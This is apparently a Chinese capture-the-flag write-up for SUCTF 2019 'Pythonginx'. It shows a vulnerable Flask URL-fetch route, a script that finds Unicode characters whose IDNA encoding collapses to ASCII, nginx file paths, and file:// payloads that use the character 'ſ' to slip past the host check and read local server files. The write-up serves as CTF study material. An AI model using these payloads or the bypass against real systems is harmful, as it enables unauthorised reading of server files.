[SUCTF 2019]Pythonginx

发布时间 2023-06-27 16:11:19作者: Galio

源码:

 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url") #获取url
    host = parse.urlparse(url).hostname #获取主机名例如:http://www.baidu.com/index.php?a=111 会读取到www.baidu.com
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url)) #提取url中的各个字段
    host = parts[1] #获取主机名即域名
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码
    parts[1] = '.'.join(newhost) #组合成域名
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname #获取主机名
    if host == 'suctf.cc': #判断是否为suctf.cc
        return urllib.request.urlopen(finalUrl).read() #读取finalUrl
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? --> 

关键点在于:

 for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码

简单分析一下这段代码的功能:要你传入一个url,这个url的host不能是suctf.cc,但是经过编码转换后域名又得是suctf.cc,

idna编码对一些非英文字符进行编码,如阿拉伯语、中文、斯拉夫语等,他先用idna编码后用utf-8解码,这样解码出来的字符不知道是什么字符。

思路就是把suctf.cc中的某个字符换成其他语言字符,写一个脚本找其他国家语言字符

脚本:

s='suctf.cc'
for i in range(128,65537):
    tmp=chr(i)   //chr()函数返回ascii码(数字)对应的字符
    try:
        res = tmp.encode('idna').decode('utf-8')
        if res in s:
            print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

 

小知识(nginx的配置文件):

配置文件存放目录:/etc/nginx

主配置文件:使用wget安装的在/etc/nginx/conf/nginx.conf
使用 yum 安装,源码安装的配置文件在 /usr/local/nginx/conf
管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

 

payload:

file://ſuctf.cc/usr/local/nginx/conf/nginx.conf

file://ſuctf.cc/usr/fffffflag